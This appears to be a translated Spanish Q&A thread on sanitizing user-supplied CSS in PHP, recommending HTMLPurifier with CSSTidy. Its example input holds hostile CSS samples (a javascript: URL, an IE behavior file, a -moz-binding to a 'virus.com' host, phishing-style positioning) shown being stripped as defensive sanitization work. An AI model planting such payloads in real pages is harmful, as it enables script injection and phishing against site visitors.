usuarios - sistema login php mysql seguro?
Desinfectar el CSS definido por el usuario en PHP (3)
Quiero permitir que los usuarios usen sus propias hojas de estilo para sus perfiles en mi foro, pero temo las posibles vulnerabilidades de seguridad. ¿Alguien tiene algún consejo para desinfectar CSS?
Proceso básico: el usuario ingresa CSS en forma -> Guardar en DB -> Salida como CSS en línea
Defina las clases usted mismo, y cree una GUI para aplicar el color y otras propiedades a cada clase, use el mismo método que Twitter para eso.
texto alt http://grab.by/grabs/3217158e9c48538eb127fb1678dab6ae.png
Por supuesto, esto solo funcionaría si su diseño es fijo y definido por el administrador, no por el usuario.
No veo cómo esto podría crear vulnerabilidades de seguridad, a menos que los perfiles se compartan con otros usuarios.
Si se comparten, podrían surgir vulnerabilidades de CSRF (ya que CSS puede generar solicitudes GET para incluir imágenes, fuentes, otras hojas de estilo, etc.). También podrían usar el content
para engañar a los usuarios y hacer clic en algunos lugares, ocultar funcionalidades importantes, etc. Y, por supuesto, tendrías que escapar <
, >
y posiblemente &
para evitar XSS (si el CSS está incrustado en el HTML).
En cuanto a las bibliotecas para realizar el saneamiento, no conozco ninguna (quizás esté ordenada).
HTMLPurifier con CSSTidy hace lo que estás buscando.
HTMLPurifier está diseñado principalmente para desinfectar HTML, pero también tiene una opción para extraer bloques de estilo con CSSTidy.
Hay un ejemplo en los documentos HTMLPurifier (pero, por desgracia, he agotado mis dos enlaces por publicación).
Aquí está otro:
require_once ''./htmlpurifier/library/HTMLPurifier.auto.php'';
require_once ''./csstidy/class.csstidy.php'';
// define some css
$input_css = "
body {
margin: 0px;
padding: 0px;
/* JS injection */
background-image: url(javascript:alert(''Injected''));
}
a {
color: #ccc;
text-decoration: none;
/* dangerous proprietary IE attribute */
behavior:url(hilite.htc);
/* dangerous proprietary FF attribute */
-moz-binding: url(''http://virus.com/htmlBindings.xml'');
}
.banner {
/* absolute position can be used for phishing */
position: absolute;
top: 0px;
left: 0px;
}
";
// Create a new configuration object
$config = HTMLPurifier_Config::createDefault();
$config->set(''Filter.ExtractStyleBlocks'', TRUE);
// Create a new purifier instance
$purifier = new HTMLPurifier($config);
// Turn off strict warnings (CSSTidy throws some warnings on PHP 5.2+)
$level = error_reporting(E_ALL & ~E_STRICT);
// Wrap our CSS in style tags and pass to purifier.
// we''re not actually interested in the html response though
$html = $purifier->purify(''<style>''.$input_css.''</style>'');
// Revert error reporting
error_reporting($level);
// The "style" blocks are stored seperately
$output_css = $purifier->context->get(''StyleBlocks'');
// Get the first style block
echo $output_css[0];
Y la salida es:
body {
margin:0;
padding:0;
}
a {
color:#ccc;
text-decoration:none;
}
.banner {
}